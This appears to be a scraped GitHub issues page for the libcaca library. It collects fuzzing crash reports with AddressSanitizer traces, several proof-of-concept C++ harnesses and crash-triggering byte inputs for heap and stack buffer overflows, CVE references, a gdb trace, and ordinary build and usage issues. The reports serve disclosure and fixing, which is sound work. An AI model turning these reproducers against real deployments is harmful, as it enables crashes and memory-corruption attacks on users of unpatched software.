SUMMARY: AddressSanitizer: SEGV /home/company/real/libcaca-master/src/common-image.c:203 in load_image
==28346==ABORTING
The homepage http://caca.zoy.org/wiki/libcaca is not reachable (HTTP status code 503)
Tested commit: b38bcd6
Tools: american fuzzy lop 2.52b, afl-utils
libcaca-2018-12-31.zip
Credit: Henri Salo
Build with BMP loading. No other crashes found. I'll fuzz with Imlib2 next.
Looks same as #38.
$ /bin/img2txt libcaca-2018-12-31
=================================================================
==28225==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd1 at pc 0x7f94cd7d636c bp 0x7fffa62b8080 sp 0x7fffa62b8078
READ of size 1 at 0x60200000efd1 thread T0
#0 0x7f94cd7d636b in get_rgba_default /home/hsalo/src/libcaca/caca/dither.c:1347
#1 0x7f94cd7d636b in caca_dither_bitmap /home/hsalo/src/libcaca/caca/dither.c:1009
#2 0x555abf324ea7 in main /home/hsalo/src/libcaca/src/img2txt.c:210
#3 0x7f94cd40e2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#4 0x555abf325859 in _start (/home/hsalo/builds/libcaca/b38bcd63f069c8d7fbcdf10a3acd5b6c82cac3c8/bin/img2txt+0x3859)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f94cdb7ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x555abf326d5d in load_image /home/hsalo/src/libcaca/src/common-image.c:170
#2 0xffff4c57051 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hsalo/src/libcaca/caca/dither.c:1347 in get_rgba_default
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 07
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==28225==ABORTING
ps. happy new year! :)
Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info:
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps:
1.Get the source code of libcaca
2.Compile the libcaca.so library
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make
3.Create the poc_tga.cc && build
#include "config.h"
#include "caca.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
return 0;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
4.compile poc_tga.cc
clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_tga
5.Run poc_tga
asan info:
==1845495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000022 at pc 0x7f905c1bf440 bp 0x7ffdb0a31310 sp 0x7ffdb0a31308
WRITE of size 1 at 0x603000000022 thread T0
#0 0x7f905c1bf43f in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:961:12
#1 0x7f905c1bf43f in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
#2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
#3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
#4 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_tga+0x41c39d)
0x603000000022 is located 0 bytes to the right of 18-byte region [0x603000000010,0x603000000022)
allocated by thread T0 here:
#0 0x494add in malloc (/home/hh/Downloads/libcaca/poc_tga+0x494add)
#1 0x7f905c1be0eb in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:944:18
#2 0x7f905c1be0eb in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
#3 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
#4 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
#5 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:961:12 in export_tga
Shadow bytes around the buggy address:
0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1845495==ABORTING
trying to compile libcaca, i get several redifinitions of vsnprintf :
same for sprintf_s in figfont.c
i think that the macro HAVE_VSNPRINTF and HAVE_SPRINTF_S should be used too.
Configuring with ancient bash fails with a syntax error:
checking for sin in -lm... yes
./configure: line 19389: conditional binary operator expected
./configure: line 19389: syntax error near `=~'
./configure: line 19389: ` [[ "$target_os" =~ [0-9]+ ]] && darwin_ver="${BASH_REMATCH[0]}"'
Downstream report: https://trac.macports.org/ticket/63758
It appears the issue was introduced with #1.
Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info:
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps:
1.Get the source code of libcaca
2.Compile the libcaca.so library
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make
3.Create the poc_ansi.cc && build
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
void crash(const uint8_t *Data, size_t Size) {
if(Size<8) return ;
size_t len=0;
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
caca_create_frame(cv,0);
caca_set_frame(cv,0);
caca_import_canvas_from_memory(cv,Data,Size,"ansi");
caca_free_canvas(cv);
cv=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
len = sizeof(buffer)/sizeof(unsigned char);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
crash((const uint8_t*)buffer,len);
return 0;
}
4.compile poc_ansi.cc
clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_ansi
5.Run poc_ansi
asan info:
=================================================================
==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8
READ of size 1 at 0x7ffda0164bea thread T0
#0 0x7f098d82c30f in _import_ansi /home/hh/Downloads/libcaca/caca/codec/text.c:391:38
#1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3
#2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
#3 0x7f098d2780b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)
Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame
#0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
This frame has 1 object(s):
[32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi
Shadow bytes around the buggy address:
0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100034024970: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]f3 f3
0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3763372==ABORTING
Thanks
Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info:
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps:
1.Get the source code of libcaca
2.Compile the libcaca.so library
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make
3.Create the poc_bin.cc && build
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
void crash(const uint8_t *Data, size_t Size) {
if(Size<8) return ;
size_t len=0;
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
caca_create_frame(cv,0);
caca_set_frame(cv,0);
caca_import_canvas_from_memory(cv,Data,Size,"bin");
caca_free_canvas(cv);
cv=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x0a,0x20,0x0a,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x47,0x47,0x47};
len = sizeof(buffer)/sizeof(unsigned char);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
crash((const uint8_t*)buffer,len);
return 0;
}
4.compile poc_bin.cc
clang++ -g poc_bin.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_bin
5.Run poc_bin
asan info:
=================================================================
==3817476==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe7cd3774d at pc 0x7f8c6314acfd bp 0x7ffe7cd376c0 sp 0x7ffe7cd376b8
READ of size 1 at 0x7ffe7cd3774d thread T0
#0 0x7f8c6314acfc in _import_bin /home/hh/Downloads/libcaca/caca/codec/import.c:425:33
#1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3
#2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
#3 0x7f8c62ba00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_bin+0x41c38d)
Address 0x7ffe7cd3774d is located in stack of thread T0 at offset 45 in frame
#0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
This frame has 1 object(s):
[32, 45) 'buffer' (line 31) <== Memory access at offset 45 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/import.c:425:33 in _import_bin
Shadow bytes around the buggy address:
0x10004f99ee90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99eea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99eeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99eec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99eed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004f99eee0: 00 00 00 00 f1 f1 f1 f1 00[05]f3 f3 00 00 00 00
0x10004f99eef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99ef10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99ef20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10004f99ef30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3817476==ABORTING
Thanks
Libcaca.so presently exports 134 symbols (35%, full list attached) which are not present in libcaca's headers and thus are not supposed to be used by clients.
Removing these symbols would allow compiler to optimize code more aggressively, speed up dynamic linker on Linux and prevent clients from inadvertently using internal APIs.
I attached a simple patch that hides private symbols. It passes make check (I can do additional testing if needed). Would something like this be interesting for the project?
caca_removed_syms.txt
0001-Hide-private-symbols.patch.txt
The issue was found using ShlibVisibilityChecker.
img2txt and cacaview both crash when loading the image
crash.zip
I check the official website, it requires: X11
, but it does nothing for a non-screen VPS.
When I run cacaview
, it outputs cacaview: unable to initialise libcaca
(I've installed with sudo permission.)
All programs except cacafire
didn't work. Even img2txt
showed: unable to load subject01.centerlight.png
which is known as a working image.
Could you please tell my whether it works on a non-screen environment?
Thanks in advance!
Following vulnerability has been reported to Red Hat issue tracker:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20544
https://bugzilla.redhat.com/show_bug.cgi?id=1652627
./img2txt POC6
version: libcaca0.99beta19
Summary:
There is float point exception at caca/dither.c:1013 (function:caca_dither_bitmap )in libcaca latest version.
Description:
The asan debug is as follows:
$./img2txt POC6
=================================================================
==65878==ERROR: AddressSanitizer: FPE on unknown address 0x7efce996aa4a (pc 0x7efce996aa4a bp 0x0000ffff8e2b sp 0x7ffd5af44cf0 T0)
#0 0x7efce996aa49 in caca_dither_bitmap /home/company/real/libcaca-master/caca/dither.c:1013
#1 0x55ad5d57196e in main /home/company/real/libcaca-master/src/img2txt.c:210
#2 0x7efce95881c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
#3 0x55ad5d571f09 in _start (/home/company/real/libcaca-master/install_asan/bin/img2txt+0x2f09)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/company/real/libcaca-master/caca/dither.c:1013 in caca_dither_bitmap
==65878==ABORTING
When converting a totally black or white image, such as
and
The resulting output looks like this:
img2txt -W 10 -H 10 -d ordered8 white.png
@ S @ S @
t : t : t
% X % X %
. ; . ; .
X % @ S X
; . t : ;
t S % X t
: . ;
@ S @ S @
t : t : t
img2txt -W 10 -H 10 -d ordered8 black.png
. :
; S ; S ;
: . : . :
X ; X % X
: .
; X ; S ;
: . : . :
@ S X ; @
. :
; S ; S ;
In the white example the background color is white and the characters are light gray. In the black example, the background is black and the characters are blue and dark gray.
If you don't specify a dithering algorithm (so it uses the default Floyd-Steinberg one), the black example looks correct, i.e. black background with space characters.
The white example looks like this:
img2txt -W 10 -H 10 white.png
. . .
. .
.
. .
. . .
.
. .
. .
. .
Again, the background is white and the periods in the output are light gray
When using no dithering (-d none
), both outputs look correct.
Following vulnerability has been reported to Red Hat issue tracker:
Following vulnerability has been reported to Red Hat issue tracker:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20547
https://bugzilla.redhat.com/show_bug.cgi?id=1652624
It could be cool to be able to do something like:
cat file.jpeg | img2txt | netcat x.x.x.x 3333
But it seems that imlib doesn't support streaming (error when providing /dev/stdin
).
How to solve this?
This issue also appears here: (ranger/ranger#1407) with a nice example. It can be reproduced in docker as follows. Start a docker from the official fedora 30 image:
docker run -it fedora:30 sh
Then inside the running docker:
dnf install -y caca-utils
curl https://cdn.pixabay.com/photo/2016/12/06/03/46/cat-1885511_640.jpg --output foo.jpg
cacaview foo.jpg
The characters in the cat's ears are blinking
Hello
is adding a meson build system planned ?
thank you
Describe the bug
If the project is compiled for 64-bit system, and the configure flag --disable-imlib2
was given. Then the pointer returned from _caca_alloc2d() call in load_image() at common-image.c is truncated to 32-bit with sign extension, later causing a SEGV writing to an invalid memory area.
Lines 163 to 173 in f42aa68
System info:
Steps to reproduce the behavior
export CONF_FLAGS="--disable-imlib2 --disable-shared"
export CFLAGS="-g -fPIE"
export CXFLAGS=${CFLAGS}
export CC=gcc-10
export CXX=g++-10
./bootstrap
./configure ${CONF_FLAGS}
make clean
make
./src/img2txt POC
Output
Segmentation fault (core dumped)
(gdb) b load_image
Breakpoint 1 at 0x7180: file common-image.c, line 35.
(gdb) r
Starting program: ./img2txt POC
Breakpoint 1, load_image (name=0x7fffffffe771 "POC")
at common-image.c:35
35 {
(gdb) b _caca_alloc2d
Breakpoint 2 at 0x55555555bff0: file caca.c, line 288.
(gdb) c
Continuing.
Breakpoint 2, _caca_alloc2d (width=1, height=59968, elem_size=32) at caca.c:288
288 {
(gdb) finish
Run till exit from #0 _caca_alloc2d (width=1, height=59968, elem_size=32) at caca.c:288
0x000055555555b563 in load_image (name=<optimized out>) at common-image.c:164
164 im->pixels = _caca_alloc2d(im->w, im->h, depth);
Value returned is $1 = (void *) 0x7ffff6ef6010
(gdb) x/2i $rip
=> 0x55555555b563 <load_image+995>: movslq %eax,%rdi <------------ [0] here wrong conversion
0x55555555b566 <load_image+998>: mov %rdi,(%r14)
(gdb) p/x $rax
$2 = 0x7ffff6ef6010
(gdb) p/x $rdi
$3 = 0x0
(gdb) si
0x000055555555b566 164 im->pixels = _caca_alloc2d(im->w, im->h, depth);
(gdb) p/x $rax
$4 = 0x7ffff6ef6010
(gdb) p/x $rdi <------------ [1]
$5 = 0xfffffffff6ef6010
(gdb) b memset
Breakpoint 3 at 0x55555555b57a: memset. (2 locations)
(gdb) c
Continuing.
Breakpoint 3, 0x000055555555b57a in memset (__len=<optimized out>, __ch=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71
71 return __builtin___memset_chk (__dest, __ch, __len, __bos0 (__dest));
(gdb) p/x $rdi
$6 = 0xfffffffff6ef6010
(gdb) x/x $rdi
0xfffffffff6ef6010: Cannot access memory at address 0xfffffffff6ef6010
(gdb) c
Continuing.
Breakpoint 3, __memset_avx2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S:167
167 ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S: No such file or directory.
(gdb)
Hi,
I am trying to use the c++ interface. However, when I try to evaluate a pressed key event, I did not get access to key codes.
The reason is that the Event class is not providing any functionality other than access to the type. I cannot even use the standard c functions as the caca_event_t data structure is protected.
Moreover, the Event class provides a public type attribute. I expected that this attribute will hold the event type. However, it is not updated by the getEvent function.
is there something that I missed or is this simply missing functionality
A solution would be to enhance the Event class by getter functions. Even that I do not use mouse functionality (yet), these getters would also be needed for the mouse access functions.
Regards
Sebastian
Event event; dp.getEvent(Event::CACA_EVENT_KEY_PRESS, &event, 0); if (event.type & CACA_EVENT_KEY_PRESS) // this is not working as the type field is not updated { auto key event.getKeyCH(); // what I would expect auto key = caca_get_event_key_ch(&event.e); // not working either }
class myEvent : public Event { public: int getKeyCH() { return caca_get_event_key_ch(&this->e); } ::caca_event_type getType() { return caca_get_event_type(&this->e); } };
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.